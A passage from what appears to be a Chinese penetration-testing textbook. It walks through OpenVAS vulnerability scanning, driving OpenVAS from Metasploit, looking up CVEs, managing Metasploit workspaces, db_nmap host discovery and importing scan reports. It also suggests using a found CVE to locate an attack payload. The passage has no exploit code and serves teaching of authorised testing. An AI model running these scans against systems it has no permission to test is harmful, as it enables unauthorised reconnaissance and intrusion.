【实例2-11】新建扫描目标。具体操作步骤如下：
 
（1）在OpenVAS服务的菜单栏中依次选择Configuration|Targets命令，显示如图2.45所示的界面。
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图2.45　Targets界面
 
（2）从该界面可以看到，默认没有创建任何目标。此时，用户可以单击[image: ]（New Target）图标，创建新的扫描目标，如图2.46所示。
 
 
 [image: ] 


图2.46　新建Target界面
 
（3）在该界面输入Target名称及扫描的主机、端口列表、测试方法等。在指定目标时，用户可以输入一个网段、单个地址或多个地址，地址直接使用逗号分隔。用户也可以将扫描的目标地址保存在一个文件中，选择From file格式，选择目标地址的文件。然后单击Create按钮，显示如图2.47所示的界面。
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图2.47　新建目标的详细信息
 
（4）从该界面可以看到新建的扫描目标，其名称为Windows XP。
 
4．创建扫描任务
 
将扫描配置和目标都创建完后，即可创建扫描任务了。然后，对指定的目标实施扫描。下面介绍创建扫描任务的方法。
 
【实例2-12】为OpenVAS创建任务。具体操作步骤如下：
 
（1）在OpenVAS服务的菜单栏中依次选择Scans|Tasks命令，显示如图2.48所示的界面。
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图2.48　欢迎信息
 
（2）该界面显示了OpenVAS扫描任务管理的欢迎信息。如果用户不想要查看，单击右上角的[image: ]按钮关闭即可。然后，进入扫描任务界面，如图2.49所示。
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图2.49　任务主界面
 
（3）从该界面可以看到，目前没有创建任何任务。在该界面单击[image: ]（New Task）图标创建任务，如图2.50所示。
 
 
 [image: ] 


图2.50　新建任务
 
（4）在该界面设置任务名称、扫描配置和扫描目标等，然后单击Create按钮，显示如图2.51所示的界面。
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图2.51　新建的扫描任务
 
（5）从该界面可以看到新建的任务Windows XP，状态为New。接下来，开始该扫描任务并对目标实施扫描。
2.2.3　实施漏洞扫描
 
通过前面一系列的操作，可以开始对指定的目标实施漏洞扫描了。下面介绍实施漏洞扫描的方法。
 
【实例2-13】以【实例2-12】创建的扫描任务为例，实施漏洞扫描。具体操作步骤如下：
 
（1）创建的扫描任务如图2.51所示。
 
（2）从该界面可以看到前面新建的任务Windows XP。此时，单击[image: ]（Start）图标，开始漏洞扫描。在启动该扫描任务后，按钮图标将变为[image: ]（Pause），单击该按钮可以暂停扫描。也可以单击[image: ]（Stop）图标停止扫描。扫描完成后，New将变为Done，在扫描过程中显示为Requested。
 
[image: ]提示：通常情况下，用户启动扫描后，都会发现扫描速度很慢，状态列几乎不发生变化。但是，实际上一直在对目标进行扫描。由于这是在浏览器显示的内容，用户需要手动刷新一下页面才可以看到状态的变化。用户也可以设置为，每隔几分钟自动刷新一次。默认OpenVAS设置的是不自动刷新，如图2.52所示。
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图2.52　设置自动刷新
 
OpenVAS默认提供了4种自动刷新时间。用户单击图中的[image: ]框，展开可设置的自动刷新时间列表，如图2.53所示。用户可以选择任意一种方式，这样就可以随时看到扫描状态的变化了。
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图2.53　选择自动刷新时间
 
（3）扫描完成后，显示如图2.54所示界面。
 
（4）从该界面的Status（状态）列，可以看到已显示为Done，表示扫描完成。接下来，对扫描结果进行分析，以从中获取到目标主机中的漏洞信息。
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图2.54　扫描完成
2.2.4　分析并导出漏洞扫描报告
 
当用户对目标主机实施扫描后，即可从扫描结果中获取其目标主机的漏洞信息。同样，为了方便用户分析其扫描结果，OpenVAS也支持将漏洞信息以不同报告格式导出。下面介绍分析并导出漏洞扫描报告的方法。
 
1．分析漏洞扫描结果
 
【实例2-14】以上例中的扫描结果为例，对其进行分析。具体操作步骤如下：
 
（1）上例中的扫描结果如图2.54所示。
 
（2）从该界面可以看到目标系统中有非常严重的漏洞，安全级别为10.0（High）。此时用户可以单击状态下面的Done命令，查看漏洞扫描的详细信息，如图2.55所示。
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图2.55　漏洞扫描报告
 
（3）从该界面的Severity列显示的情况，可以看到这些漏洞的严重情况。其中，10.0是安全问题最严重的漏洞。例如，查看该界面显示的第一个漏洞的详细信息，如图2.56所示。
 
（4）该界面显示了目标主机上拒绝服务攻击漏洞详细信息。其中，漏洞信息包括目标主机所开放的端口、漏洞导致的结果及漏洞解决方法等。这里记下该漏洞的CVE编号非常重要。在以上References部分即可看到相关的漏洞CVE编号及可参考的链接。在这些参考网页中，可了解该漏洞的详细信息，以及具体的漏洞编号等。然后，根据该漏洞CVE编号查找对应的攻击载荷，并实施攻击。
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图2.56　漏洞详细消息
 
2．导出漏洞扫描报告
 
为了方便用户进行分析，可以将漏洞信息以报告的形式导出。其中，OpenVAS支持15种文件格式的报告，如PDF、XML、CXV、HTML和TXT等。
 
【实例2-15】将漏洞扫描结果以PDF格式导出。其操作步骤如下：
 
（1）打开漏洞扫描列表界面，如图2.57所示。
 
（2）从该界面可以看到有一个[image: ]按钮，表示下载报告。这里默认选择的是Anonymous XML格式。如果用户想以其他格式导出的话，单击切换报告格式文本框中的[image: ]按钮，即可选择其他格式。然后，单击[image: ]（Download）按钮将此次的扫描报告导出。这里选择导出为PDF格式的报告，单击[image: ]（Download）按钮，显示如图2.58所示的界面。
 
（3）该界面用于设置处理该报告文件的方法。用户可以单击选中Open with单选按钮，表示直接打开。或者单击选中Save File单选按钮，指定该报告文件的保存位置。这里单击选中Save File按钮保存该报告文件，然后单击OK按钮，即可成功将该报告导出。
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图2.57　所有漏洞信息
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图2.58　导出扫描报告
2.2.5　远程调用OpenVAS
 
在用户搭建好OpenVAS服务后，可以直接在Metasploit中远程调用，通过命令行方式对目标主机实施扫描。下面介绍在Metasploit中远程调用OpenVAS服务，并实施扫描的方法。
 
【实例2-16】在Metasploit中远程调用OpenVAS对目标主机实施扫描。具体操作步骤如下：
 
（1）加载Openvas插件。执行命令如下：
 


msf5 > load openvas 

[*] Welcome to OpenVAS integration by kost and averagesecurityguy.

[*] 

[*] OpenVAS integration requires a database connection. Once the 

[*] database is ready, connect to the OpenVAS server using openvas_connect.

[*] For additional commands use openvas_help.

[*] 

[*] Successfully loaded plugin: OpenVAS


 
看到以上输出信息，表示成功加载了OpenVAS插件。接下来，用户可以使用openvas_help命令，查看OpenVAS模块支持的所有命令。执行完以上命令后，将显示7部分命令。其中，第1部分显示了帮助命令。显示如下：
 


msf5 > openvas_help 

[*] openvas_help                 Display this help

[*] openvas_debug                Enable/Disable debugging

[*] openvas_version              Display the version of the OpenVAS server


 
使用以上帮助命令可以查看帮助信息、调试信息和版本信息。
 
第2部分显示了连接命令。显示如下：
 


[*] CONNECTION

[*] ==========

[*] openvas_connect              Connects to OpenVAS

[*] openvas_disconnect          Disconnects from OpenVAS


 
以上命令用来连接与断开OpenVAS服务的连接。
 
第3部分显示了目标设置命令。显示如下：
 


[*] TARGETS

[*] =======

[*] openvas_target_create             Create target

[*] openvas_target_delete             Deletes target specified by ID

[*] openvas_target_list               Lists targets


 
以上命令用来创建目标、删除目标及获取目标列表。
 
第4部分显示了扫描任务设置命令。显示如下：
 


[*] TASKS

[*] =====

[*] openvas_task_create               Create task

[*] openvas_task_delete               Delete a task and all associated reports

[*] openvas_task_list                 Lists tasks

[*] openvas_task_start                Starts task specified by ID

[*] openvas_task_stop                 Stops task specified by ID

[*] openvas_task_pause                Pauses task specified by ID

[*] openvas_task_resume               Resumes task specified by ID

[*] openvas_task_resume_or_start      Resumes or starts task specified by ID


 
用户使用以上命令可以创建扫描、删除、列出、启动、停止扫描任务等。
 
第5部分显示了扫描配置命令。显示如下：
 


[*] CONFIGS

[*] =======

[*] openvas_config_list              Lists scan configurations


 
以上命令用来列出扫描配置信息。
 
第6部分显示了报告格式命令。显示如下：
 


[*] FORMATS

[*] =======

[*] openvas_format_list              Lists available report formats


 
以上命令用来列出有效的报告格式。
 
第7部分显示了扫描报告操作命令。显示如下：
 


[*] REPORTS

[*] =======

[*] openvas_report_list             Lists available reports

[*] openvas_report_delete          Delete a report specified by ID

[*] openvas_report_import          Imports an OpenVAS report specified by ID

[*] openvas_report_download       Downloads an OpenVAS report specified by ID


 
用户可以使用以上命令列出、删除、导入或下载扫描报告。当了解用户以上命令后，即可进行后续的一系列操作。
 
（2）使用openvas_connect命令登录到OpenVAS服务器。其语法格式如下所示：
 


openvas_connect username password host port <ssl-confirm>


 
在以上语法中，username和password分别表示OpenVAS服务器的登录用户名和密码。本例中的OpenVAS服务器地址为192.168.1.105，登录名为admin，密码为password。执行命令如下：
 


msf5 > openvas_connect admin password 192.168.1.105 9390

[*] Connecting to OpenVAS instance at 192.168.1.105:9390 with username 

admin...

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS connection successful


 
从输出的信息中，可以看到已成功登录到OpenVAS服务器。
 
（3）后续操作流程与图形界面一样。在实施扫描之前，需要创建扫描目标、扫描配置和扫描任务。用户也可以使用默认的扫描配置，来实施扫描。这里将使用默认的扫描配置方式，来实施扫描。下面创建一个扫描目标，其语法格式如下所示：
 


openvas_target_create <name> <hosts> <comment>


 
在以上语法中，参数name表示扫描目标名称；hosts表示目标主机；comment表示注释信息。下面创建一个名称为Local Machine，目标地址为192.168.1.6的扫描目标。执行命令如下：
 


msf5 > openvas_target_create "Local Machine" 192.168.1.6 "My Local Machine"

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[*] 2223908a-46fc-4df9-81ab-f8275f02715a

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of targets

ID             Name        Hosts            Max Hosts   In Use     Comment

--            ----        -----              ---------   ------    -------

2223908a-    Local    192.168.1.6        1               0          My Local Machine

46fc-4df9-    Machine

81ab-

f8275f02715a


 
看到以上输出信息，则表示成功创建了扫描目标。从显示的结果中可以看到该扫描目标ID为2223908a-46fc-4df9-81ab-f8275f02715a。
 
（4）创建扫描任务。先查看下扫描配置列表，执行命令如下：
 


msf5 > openvas_config_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of configs

ID                                               Name

--                                                -------

085569ce-73ed-11df-83c3-002264764cea      empty

2d3f051c-55ba-11e3-bf43-406186ea4fc5      Host Discovery

698f691e-7489-11df-9d8c-002264764cea      Full and fast ultimate

708f25c4-7489-11df-8094-002264764cea      Full and very deep

74db13d6-7489-11df-91b9-002264764cea      Full and very deep ultimate

8715c877-47a0-438d-98a3-27c7a6ab2196      Discovery

bbca7412-a950-11e3-9109-406186ea4fc5      System Discovery

daba56c8-73ec-11df-a475-002264764cea      Full and fast


 
从输出的信息中可以看到，共提供了8种扫描配置。从显示的信息可以看到每个扫描配置的ID和名称。其中，用于创建扫描任务的语法格式如下：
 


openvas_task_create <name> <comment> <config_id> <target_id>


 
以上语法中的参数name表示指定扫描任务名称；comment用来设置注释信息；config_id用来指定扫描配置的ID；target_id用来指定目标ID。这里选择使用Full and fast扫描配置，对前面创建的目标实施扫描。执行命令如下：
 


msf5 > openvas_task_create "Local Scan" "Scan My Local Machine" 698f691e-

7489-11df-9d8c-002264764cea  2223908a-46fc-4df9-81ab-f8275f02715a

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[*] 351dfd48-0b28-4dcd-aa44-9fd2644649de

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID              Name                Comment                     Status        Progress

--              ----                -------                     ------        --------

351dfd48-      Local Scan        Scan My Local Machine    New             -1

0b28-4dcd-

aa44-9fd2644649de


 
从输出的信息可以看到，成功创建了扫描任务。其中，该扫描任务的ID为351dfd48-0b28-4dcd-aa44-9fd2644649de。
 
（5）启动扫描任务。其语法格式如下：
 


openvas_task_start <id>


 
以上语法中的参数id表示扫描任务的ID。这里将启动ID为351dfd48-0b28-4dcd-aa44-9fd2644649de的扫描任务。执行命令如下：
 


msf5 > openvas_task_start 351dfd48-0b28-4dcd-aa44-9fd2644649de

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[*] <X><authenticate_response status='200' status_text='OK'><role>Admin</

role><timezone>UTC</timezone><severity>nist</severity></authenticate_

response><start_task_response status='202' status_text='OK, request 

submitted'><report_id>5756db12-276f-4d54-9bc4-bb87bd05d5b5</report_id>

</start_task_response></X>

msf5 > openvas_task_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of tasks



ID              Name                Comment                      Status         Progress

--              ----                -------                      ------         --------

351dfd48-      Local Scan      Scan My Local Machine    Running      1

0b28-4dcd-

aa44-9fd2644649de


 
看到以上输出信息，表示成功启动了扫描任务。从输出信息的Status（状态）列可以看到，值为Running，即正在实施扫描。此时，用户也可以使用openvas_task_list命令查看扫描任务的进度。执行命令如下：
 


msf5 > openvas_task_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID              Name                Comment                     Status         Progress

--              ----                -------                     ------          --------

351dfd48-      Local Scan        Scan My Local Machine    Running      98

0b28-4dcd-

aa44-9fd2644649de


 
在以上输出信息中共包括5列，分别是ID（扫描任务ID）、Name（扫描任务名称）、Comment（扫描任务注释）、Status（状态）和Progress（进度）。从以上显示的信息可以看到，扫描任务正在运行，其进度值为98。当扫描完成后，该进度值为-1。具体如下：
 


msf5 > openvas_task_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of tasks

ID                Name                Comment                     Status        Progress

--                ----                -------                     ------        --------

351dfd48-      Local Scan      Scan My Local Machine      Running      -1

0b28-4dcd-

aa44-9fd2644649de


 
看到以上输出信息，表示扫描完成了。为了方便用户对扫描结果进行分析，可以下载该扫描报告。
 
（6）使用openvas_report_download命令下载扫描报告。在下载扫描报告之前，先使用openvas_report_list命令查看下扫描报告列表，以确定生成的扫描报告信息。执行命令如下：
 


msf5 > openvas_report_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of reports



ID                  Task Name           Start Time                Stop Time

--                  ---------           ----------                ---------

5756db12-276f-     Local Scan      2019-01-22T12:19:44Z

4d54-9bc4-bb87bd05d5b5    

c5a85e97-aedc-    Local Scan      2019-01-22T14:37:36Z

4289-b14f-7b06cbceb9e9  

2019-01-22T14:40:39Z


 
从输出的信息可以看到，有一个扫描报告。其中，该扫描报告的ID为c5a85e97-aedc-4289-b14f-7b06cbceb9e9。接下来，用户就可以下载该扫描报告了。下载扫描报告的语法格式如下：
 


openvas_report_download <report_id> <format_id> <path> <report_name>


 
以上语法中参数report_id表示扫描报告的ID；format_id表示扫描报告格式的ID；path表示下载路径；report_name表示扫描报告名称。在下载扫描报告之前，需要确定这些信息。用户可以使用openvas_format_list命令查看支持的扫描报告格式。具体如下：
 


msf5 > openvas_format_list 

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[+] OpenVAS list of report formats



ID                                       Name             Extension          Summary

--                                       ----            ---------           -------

5057e5cc-b825-11e4-9d0e-28d24461215b    Anonymous XML    xml     Anonymous 

version of the raw XML report

50c9950a-f326-11e4-800c-28d24461215b    Verinice ITG       vna     Greenbone 

Verinice ITG Report, v1.0.1.

5ceff8ba-1f62-11e1-ab9f-406186ea4fc5     CPE       csv     Common Product 

Enumeration CSV table.

6c248850-1f62-11e1-b082-406186ea4fc5    HTML               html    Single 

page HTML report.

77bd6c4a-1f62-11e1-abf0-406186ea4fc5    ITG                csv    German 

"IT-Grundschutz-Kataloge" report.

9087b18c-626c-11e3-8892-406186ea4fc5    CSV Hosts       csv     CSV host summary.

910200ca-dc05-11e1-954f-406186ea4fc5    ARF                xml     Asset 

Reporting Format v1.0.0.

9ca6fe72-1f62-11e1-9e7c-406186ea4fc5     NBE                nbe    Legacy 

OpenVAS report.

9e5e5deb-879e-4ecc-8be6-a71cd0875cdd     Topology SVG       svg     Network 

topology SVG image.

a3810a62-1f62-11e1-9219-406186ea4fc5      TXT                txt     Plain text 

report.

a684c02c-b531-11e1-bdc2-406186ea4fc5      LaTeX              tex     LaTeX source 

file.

a994b278-1f62-11e1-96ac-406186ea4fc5      XML                xml Raw XML report.

c15ad349-bd8d-457a-880a-c7056532ee15     Verinice ISM       vna     Greenbone 

Verinice ISM Report, v3.0.0.

c1645568-627a-11e3-a660-406186ea4fc5     CSV Results   csv CSV result list.

c402cc3e-b531-11e1-9163-406186ea4fc5      PDF                pdf     Portable 

Document Format report.


 
从以上输出信息可以看到支持的所有扫描报告格式。在以上信息中共包括4列，分别表示ID（扫描报告格式的ID）、Name（扫描报告格式名称）、Extension（扫描报告文件扩展名）和Summary（摘要信息）。例如，这里选择下载扫描报告格式为CSV，并保存到/root/openvas目录中，报告文件名为reports.csv。执行命令如下：
 


msf5 > openvas_report_download c5a85e97-aedc-4289-b14f-7b06cbceb9e9 

9087b18c-626c-11e3-8892-406186ea4fc5 /root/openvas reports.csv

/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-

omp-0.0.4/lib/openvas-omp.rb:201: warning: Object#timeout is deprecated, 

use Timeout.timeout instead.

[*] Saving report to /root/openvas/reports.csv


 
从输出的信息可以看到，已成功将扫描报告下载到/root/openvas/reports.csv文件中。此时，用户使用文本编辑器即可查看已下载的扫描报告，如图2.59所示。
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图2.59　扫描报告
 
（7）用户可以对该扫描报告进行分析了，以获取目标主机的漏洞信息。
2.3　手工查询漏洞
 
当用户知道设备或者系统型号后，可以人工方式去官方获取漏洞信息。很多负责任的公司都会在漏洞发现后，发布更新补丁和设备固件。但大部分情况下，实际没人会天天看这些的。所以，由于维护人员的懒惰，漏洞就出来了。下面介绍手工查询漏洞的方法。
 
这里以HP M251打印机为例，该打印机是内嵌系统。在其官网提供一个固件供用户更新。其网址http://support.hp.com/cn-zh/drivers/selfservice/hp-laserjet-pro-200-color-printer-m251-series/5097632/model/5097633。在该网页中有详细的漏洞说明情况，如图2.60所示。
 
从该界面的修复和增强内容中，可以看到该固件修复了又称为POODLESSLv3.0漏洞的潜在漏洞问题（CVE-2014-3566）。从该漏洞描述中知道了漏洞编号，这样查攻击载荷就容易了。一般设备固件都是需要用户手动更新。所以，如果要更新该漏洞，需要从该界面下载并手动更新该固件。
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图2.60　漏洞的详细描述
 
除了到官方网站查询一些固件漏洞，语言还可以到CVE的管理网站和微软漏洞官方查看各种CVE和微软的漏洞，其网址分别是：
 


http://cve.mitre.org/data/refs/refmap/source-MS.html


 
和
 


https://technet.microsoft.com/en-us/security/bulletins


第3章　准备渗透项目
 
在渗透测试时，安全人员往往需要进行很多准备工作。例如，为了区分不同的任务，需要为每个任务建立独立的工作区；为了确认渗透目标，需要扫描网络，发现主机。本章将详细讲解这些准备工作。
3.1　准备工作区
 
为了区分不同扫描任务，Metasploit提供了工作区。每个工作区都保存相关任务的各种信息。不同工作区之间的信息相互独立，避免数据混淆。所以，在进行渗透攻击前，用户需要准备不同的工作区，将扫描结果分开保存。Metasploit提供了workspace来管理工作区，其语法格式如下：
 


workspace [options]


 
其中，options表示选项，用到的选项及含义如下：
 
·空选项：列出工作区。

·-v：显示工作区详细信息。

·name：切换到指定的工作区。

·-a[name]：添加指定名称的工作区。name表示工作区名称。

·-d[name]：删除指定名称的工作区。name表示工作区名称。

·-D：删除所有工作区，只保留默认工作区。

·-r<old><new>：重命名工作区。old表示原有工作区名称，new表示工作区的新名称。

·-h：显示帮助信息。
 
下面介绍如何对工作区进行管理。
3.1.1　查看工作区
 
启动Metasploit后，会自动进入初始工作区default。该工作区由Metasploit自动创建。下面讲解如何查看该工作区。
 
（1）由于工作区信息都保存在数据库中，所以需要先查看数据库连接状态。执行命令如下：
 


msf5 > db_status

[*] postgresql connected to msf


 
输出信息显示已成功连接到了数据库MSF。
 
（2）显示当前的工作区。执行命令如下：
 


msf5 > workspace

* default


 
输出信息中的*default是一个默认的工作区。其中，*表示当前选择的工作区；default为当前工作区的名称。
3.1.2　添加工作区
 
开始一个新的渗透任务前，用户需要创建一个新的工作区。创建方式如下。
 
（1）添加新的工作区，名称为work1。执行命令如下：
 


msf5 > workspace -a work1

[*] Added workspace: work1

[*] Workspace: work1


 
输出信息显示成功添加了工作区work1，并且自动切换到该工作区。
 
（2）以同样的方法添加工作区work2、work3、work4。查看当前的工作区，执行命令如下：
 


msf5 > workspace

  default

  work1

  work2

  work3

* work4


 
输出信息显示了所有的工作区。其中，*work4表示当前选择的是工作区work4。
3.1.3　显示工作区详情
 
用户还可查看工作区的详细信息。执行命令如下：
 


msf5 > workspace -v

Workspaces

==========

current      name         hosts      services      vulns      creds      loots      notes

-------     -----         -----    --------    -----   -----   ------   -----

                 default      0          0             0          0          0          0

                 work1        0          0             0          0          0          0

                 work2        0          0             0          0          0          0

                 work3        0          0             0          0          0          0

*               work4        0          0             0          0          0          0


 
输出信息分为8列，每列的含义如下：
 
·current：表示当前选择的工作区。

·name：工作区名称。

·hosts：工作区记录的主机数。

·services：工作区记录的服务数。

·vulns：工作区记录的漏洞信息数。

·creds：工作区记录的认证信息数。

·loots：工作区记录的战利品数。

·notes：工作区记录的备注信息数。
3.1.4　切换工作区
 
在执行不同的任务时，需要切换工作区，以避免对应的数据混淆。操作过程如下。
 
（1）当前处于工作区work4，用户可以切换到其他工作区。例如，切换到工作区work2。执行命令如下：
 


msf5 > workspace work2

[*] Workspace: work2


 
输出信息表示成功切换到了工作区work2。
 
（2）查看当前选择的工作区，执行命令如下：
 


msf5 > workspace

  default

  work1

  work3

  work4

 * work2


 
其中，*work2表示当前选择的是工作区work2。
3.1.5　重命名工作区
 
工作区的名字用来区分不同的任务。当原有的名字不足以进行区分时，用户需要修改工作区的名字。其操作过程如下：
 
（1）将工作区work3改名为work5。执行命令如下：
 


msf5 > workspace -r work3 work5


 
执行命令后没有任何输出信息。
 
（2）查看当前选择的工作区，执行命令如下：
 


msf5 > workspace

  default

  work1

  work4

  work5

 * work2


 
输出信息显示工作区work3变为了work5。
3.1.6　删除工作区
 
对于不再进行的任务，用户可以将其对应的工作区删除。操作步骤如下：
 
（1）删除工作区work5。执行命令如下：
 


msf5 > workspace -d work5

[*] Deleted workspace: work5


 
输出信息显示成功删除了工作区work5。
 
（2）验证工作区work5是否删除，查看所有的工作区。执行命令如下：
 


msf5 > workspace

  default

  work1

  work4

* work2


 
此时，输出信息中已经没有工作区work5。
 
（3）用户也可以删除所有的工作区。执行命令如下：
 


msf5 > workspace -D

[*] Deleted and recreated the default workspace    #删除并重新创建默认的工作区

[*] Deleted workspace: work1                    #删除工作区work1

[*] Deleted workspace: work2                    #删除工作区work2

[*] Deleted workspace: work4                    #删除工作区work4

[*] Switched workspace: default                    #切换到工作区default


 
输出信息显示，删除了当前所有的工作区（包括默认工作区default），删除以后会重新创建默认工作区default，并切换到该工作区。
 
（4）查看工作区，执行命令如下：
 


msf5 > workspace

* default


 
输出信息显示，此时只剩下默认工作区default。
3.2　确定目标主机
 
确定好工作区以后，就可以执行渗透测试任务了。在操作之前，需要先发现和确定渗透测试的目标主机。这时，用户可以使用内置的db_nmap子命令或导入第三方扫描报告来获取主机。
3.2.1　使用db_nmap扫描
 
db_nmap是Metasploit内置的网络扫描工具。它的语法格式与Nmap命令的语法格式一样，这里不进行讲解。
 
（1）扫描网络中存在的主机。执行命令如下：
 


msf5 > db_nmap -sP 192.168.59.0/24

[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2018-04-17 09:48 CST

[*] Nmap: Nmap scan report for localhost (192.168.59.1)

[*] Nmap: Host is up (0.0039s latency).

[*] Nmap: MAC Address: 00:50:56:C0:00:08 (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.2)

[*] Nmap: Host is up (0.0016s latency).

[*] Nmap: MAC Address: 00:50:56:EA:F3:A1 (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.144)

[*] Nmap: Host is up (0.00080s latency).

[*] Nmap: MAC Address: 00:0C:29:9F:5E:7E (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.151)

[*] Nmap: Host is up (0.0045s latency).

[*] Nmap: MAC Address: 00:0C:29:C3:9C:7F (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.254)

[*] Nmap: Host is up (0.00027s latency).

[*] Nmap: MAC Address: 00:50:56:E8:13:EB (VMware)

[*] Nmap: Nmap scan report for localhost (192.168.59.152)

[*] Nmap: Host is up.

[*] Nmap: Nmap done: 256 IP addresses (6 hosts up) scanned in 2.03 seconds


 
输出信息最后一行显示，一共发现了6个主机，而这些主机将被保存到当前工作区的数据库中。
 
（2）查看工作区详细信息。执行命令如下：
 


msf5 > workspace -v

Workspaces

==========

current      name        hosts    services     vulns    creds    loots    notes

------        ----        -----    --------    ------    -----    ------    ------

                 default    0          0             0          0          0          0

                 work1      0          0             0          0          0          0

                 work3      0          0             0          0          0          0

                 work4      0          0             0          0          0          0

*                work2       6          1             0          0          0          2


 
输出信息显示，当前选择的是工作区work2，并且在hosts列可以看到数字6，表示保存了6个主机信息。
3.2.2　导入第三方扫描报告
 
对于同一个目标进行扫描，使用的扫描工具不同，扫描到的结果也有所不同。这些不同的结果起到了互补的作用。用户可以使用子命令db_import导入这些扫描结果。其语法格式如下：
 


db_import <filename> [file2...]


 
其中，filename表示要导入的文件名称，file2表示要导入的第二个文件。如果同时导入多个文件，文件名之间使用空格进行分隔。
 
下面介绍如何使用db_import命令导入扫描报告，操作步骤如下。
 
（1）不同的扫描工具生成的扫描报告格式不同。在进行扫描报告导入之前，需要了解db_import命令所支持的报告文件类型。执行命令如下：
 


msf5 > db_import

Usage: db_import <filename> [file2...]                #语法

Filenames can be globs like *.xml, or **/*.xml which will search recursively

Currently supported file types include:                #支持的类型

    Acunetix

    Amap Log

    Amap Log -m

    Appscan

    Burp Session XML

    Burp Issue XML

    CI

    Foundstone

    FusionVM XML

    IP Address List

    IP360 ASPL

    IP360 XML v3

    Libpcap Packet Capture

    Masscan XML

    Metasploit PWDump Export

    Metasploit XML

    Metasploit Zip Export

    Microsoft Baseline Security Analyzer

    NeXpose Simple XML

    NeXpose XML Report

    Nessus NBE Report

    Nessus XML (v1)

    Nessus XML (v2)

    NetSparker XML

    Nikto XML

    Nmap XML

    OpenVAS Report

    OpenVAS XML

    Outpost24 XML

    Qualys Asset XML

    Qualys Scan XML

    Retina XML

    Spiceworks CSV Export

    Wapiti XML


 
输出信息显示了db_import命令的使用方法，以及支持的报告类型。例如，Nmap XML表示支持Nmap工具生成的XML格式的报告文件。
 
（2）现有一个Nmap的扫描报告文件subnet.xml。将该报告导入到工作区中。执行命令如下：
 


msf5 > db_import /root/subnet.xml

[*] Importing 'Nmap XML' data                        #导入Nmap XML的数据

[*] Import: Parsing with 'Nokogiri v1.8.2'

[*] Importing host 192.168.59.1                            #导入主机

[*] Importing host 192.168.59.2

[*] Importing host 192.168.59.150

[*] Importing host 192.168.59.254

[*] Importing host 192.168.59.149

[*] Successfully imported /root/subnet.xml                #成功导入


 
输出信息显示了从扫描报告subnet.xml中成功导入到工作区的主机，如192.168.59.1、192.168.59.2等。这里，一共导入了5个主机。
 
（3）导入的主机会保存在当前的工作区中。查看当前选择的工作区。执行命令如下：
 


msf5 > workspace -v

Workspaces

==========

current     name          hosts     services     vulns    creds    loots    notes

-------     ----          -----     --------     -----    -----    -----    -----

              default      0          0             0          0          0          0

              work3        1          1             0          0          0          1

              work4        0          0             0          0          0          0

              work2        1          1             0          0          0          2

*             work1        5          6             0          0          0          20


 
从输出信息中可以看到，当前工作区为work1，对应的hosts列中的值为5，表示成功将扫描报告subnet.xml中的5个主机导入了工作区了。
3.2.3　预分析目标
 
当对目标主机进行扫描或导入第三方扫描报告，Metasploit将这些信息保存在工作区中。如果这些信息包含了目标主机上存在的漏洞，就可以在Metasploit自带的模块中查询对应的攻击载荷。为了简化查询过程，Metasploit工具提供了analyze命令。该命令可以对扫描结果信息进行分析，找出包含的漏洞信息。然后对每一个漏洞和自身附带的模块进行匹配。如果存在有效的模块，将显示其对应的路径信息。analyze命令的语法格式如下：
 


analyze [addr1 addr2 ...]


 
其中，addr1和addr2参数为目标主机的IP地址，表示对该地址的主机进行预分析。地址与地址之间使用空格分隔。
 
